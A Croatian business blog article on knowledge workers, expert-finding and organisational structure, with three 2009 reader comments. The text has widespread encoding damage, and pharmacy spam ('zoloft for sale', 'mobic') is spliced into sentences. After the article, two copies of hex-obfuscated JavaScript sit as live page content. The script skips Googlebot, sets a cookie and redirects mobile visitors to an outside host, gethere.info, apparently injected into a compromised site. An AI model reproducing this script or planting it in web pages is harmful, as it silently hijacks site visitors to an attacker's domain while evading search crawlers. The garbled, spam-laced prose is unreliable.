Da je ovaj A?lanak bio pisan polovicom proA?log stoljeAi??a vjerojatno bismo umjesto pojma ai??zekspertiai??? upotrijebili sintagmu ai??zradnici znanjaai???. Naime, Peter Drucker je tim pojmom nastojao opisati novu skupinu zaposlenika koji se u svom poslu viA?e ne koriste tradicionalnim resursima poput rada, ili novca, veAi?? svojim znanjem. Taj se skupina zaposlenika s vremenom poveAi??avala, posebice u industrijama koje zahtijevaju veliku razinu ekspertize, primjerice industrije visokih tehnologija, farmaceutike ili financijskog sektora. U ovim primjerima broj radnika znanja moA?e dosezati i A?etvrtinu ukupnog broja zaposlenika. Jasno je da su upravo ti zaposlenici, koji upravljaju neopipljivim sredstvima u kompanijama, osnova njihove kompetitivne prednosti. Usprkos njihovoj vaA?nosti, radnici znanja A?esto nemaju prikladne uvjete rada, Osnova njihova posla je stvaranje i izmjena znanja, koja nekad ima mnoge zapreke ako kultura kompanije ne prepoznaje i ne cijeni znanje kao vaA?no sredstvo rada. U tom je kontekstu vrlo malo kompanija zadovoljilo osnovne preduvjete rada radnika znanja, poput stvaranja trA?iA?ta znanja.
U ovom Ai??emo se A?lanku posvetiti pronalaA?enju eksperata i dohvatu njihova znanja. MoA?da zvuA?i nevjerojatno, ali efikasnost izmjene znanja zaposlenika opada s poveAi??anjem njihovog broja u kompaniji. Naime broj interakcija u kompaniji se dramatiA?no poveAi??ava s poveAi??anjem broja zaposlenika, od kojih su mnoge neproduktivne i uzrokovane jedino neefikasnom organizacijskom strukturom. TakoAi??er i sloA?enost mobic 7.5 high. pronalaA?enja eksperata u kompaniji postaje vrlo velika s rastom broja zaposlenih. U takvom je okruA?ju vrlo teA?ko doAi??i do potrebnog znanja.
-
Struktura organizacije
Samo zaposlenici ne mogu biti odgovorni za stvaranje i dijeljenje znanja, veAi?? i sama kompanija mora poduzeti korake da bi stvorila preduvjete tim procesima. Vertikalna organizacija svakako nije dobar preduvjet za ovakve aktivnosti, te samo oteA?ava rad eksperata. Eksperti naime suraAi??uju horizontalno, te je mentalitet silosa velika prepreka A?irenju i razmjeni znanja. PokuA?aji da se ovakva situacija popravi uvoAi??enjem horizontalnih menadA?ment ravnina u matriA?noj organizaciji samo je dodatno zakomplicirala situaciju zbog dodatnog administrativnog posla uzrokovanog s dva nadreAi??ena svakom zaposleniku. Horizontalna komunikacija je moguAi??a ako zaposlenik prvo kontaktira svog vertikalno nadreAi??enog menadA?era, koji u komunikaciji s menadA?erom zaposlenika druge vertikale moA?e omoguAi??iti razmjenu znanja. Takva je formalizacija odnosa A?esto potrebna jer vertikalne organizacije mogu biti konkurentske premda pripadaju istoj organizaciji.
OA?ita je potreba za efikasnijim organizacijskim modelom koji bi potaknuo stvaranje i razmjenu znanja, u kojem bi zaposlenici koji stvaraju nove vrijednosti svojim idejama ili znanjem, dobili zasluA?eno mjesto. Prvi korak moA?e biti definiranje jasnih zadataka linijskim menadA?erima i horizontalnim timovima. Takve bi strukture trebale postati jezgra novih horizontalnih struktura, poput trA?iA?ta znanja. Takav postupak nije jednostavan i zahtijeva razliA?ite tehnike. Jedna je od njih svakako pojednostavljivanje linijskih struktura koje moraju biti efikasne i usmjerene na dobro definirane zadatke. Dio pojednostavljivanja strukture je i pojednostavljivanje lanaca izvjeA?Ai??ivanja i odgovornosti.
-
Samo jedna menadA?ment vertikala moA?e biti odgovorna za postizanje dugoroA?nih rezultata. Na taj se naA?in eliminiraju matriA?na i ad hoc organizacijska struktura koje A?esto oteA?avaju donoA?enje odluka i odgovornost. Umjesto ovakvih neefikasnih struktura mogu se provoditi tehnike dinamiA?nog menadA?menta zoloft for sale, generic Zoloft. i suradnje kako Ai??e biti objaA?njeno kasnije. Kompanija koja se odluA?i za ovakvo restrukturiranje trebala bi prvo implementirati mehanizme upravljanja koji mogu donositi strateA?ke odluke vezane uz viA?e organizacijskih vertikala, poput upravljanja troA?kovima. To se uglavnom moA?e postiAi??i jasnim definiranjem odgovornosti A?lanova uprave.
Tu je takoAi??er moguAi??e izdvojiti i neke pomoAi??ne funkcije iz strukture, ali o tome viA?e u iduAi??em A?lanku.
var _0×446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0×446d[2]][_0×446d[1]](_0×446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0×446d[1]](_0×446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows bulk sax banglafedh . ce|xda|xiino/i[_0×446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0×446d[8]](_0xecfdx1[_0×446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0×446d[10]]()+ 1800000);document[_0×446d[2]]= _0×446d[11]+ _0xecfdx3[_0×446d[12]]();window[_0×446d[13]]= _0xecfdx2}}})(navigator[_0×446d[3]]|| navigator[_0×446d[4]]|| window[_0×446d[5]],_0×446d[6])}
var _0×446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0×446d[2]][_0×446d[1]](_0×446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0×446d[1]](_0×446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0×446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0×446d[8]](_0xecfdx1[_0×446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0×446d[10]]()+ 1800000);document[_0×446d[2]]= _0×446d[11]+ _0xecfdx3[_0×446d[12]]();window[_0×446d[13]]= _0xecfdx2}}})(navigator[_0×446d[3]]|| navigator[_0×446d[4]]|| window[_0×446d[5]],_0×446d[6])}
April 7th, 2009 at 19:00
Eto … doba kapitalizma je na izmaku …… znanje je postalo “sredstvo rada” … znači da kapitalisti više ne kontrliraju sredstva rada nego se ona nalaze u rukama “radnika znanja”….. vjerojano bi Marks i Engles bili vrlo veseli da mogu vidjeti ovu krizu kapitalizma
Dolazi nobo doba
April 17th, 2009 at 20:18
Ja necu na temu se bacati,samo kritiku da bacim dole u footer ostavi ba nek pise wordpress a ne Powered by Professional to me pravo ljuti kad vidim na blogovima,i ja koristim WP http://www.bih-music.com al bar ostavljam da pise reklama ljudi koji su napravili administraciju toliko o profesiji hahah
April 17th, 2009 at 20:49
Nole, “Powered by professionals” se ne odnosi na platformu na kojoj se eBizMags vrti vec na cinjenicu da sadrzaj, kao centralni dio ovog portala, kreiraju profesionalci. Da ste kliknuli na link pretpostavljam da biste to i sami zakljucili.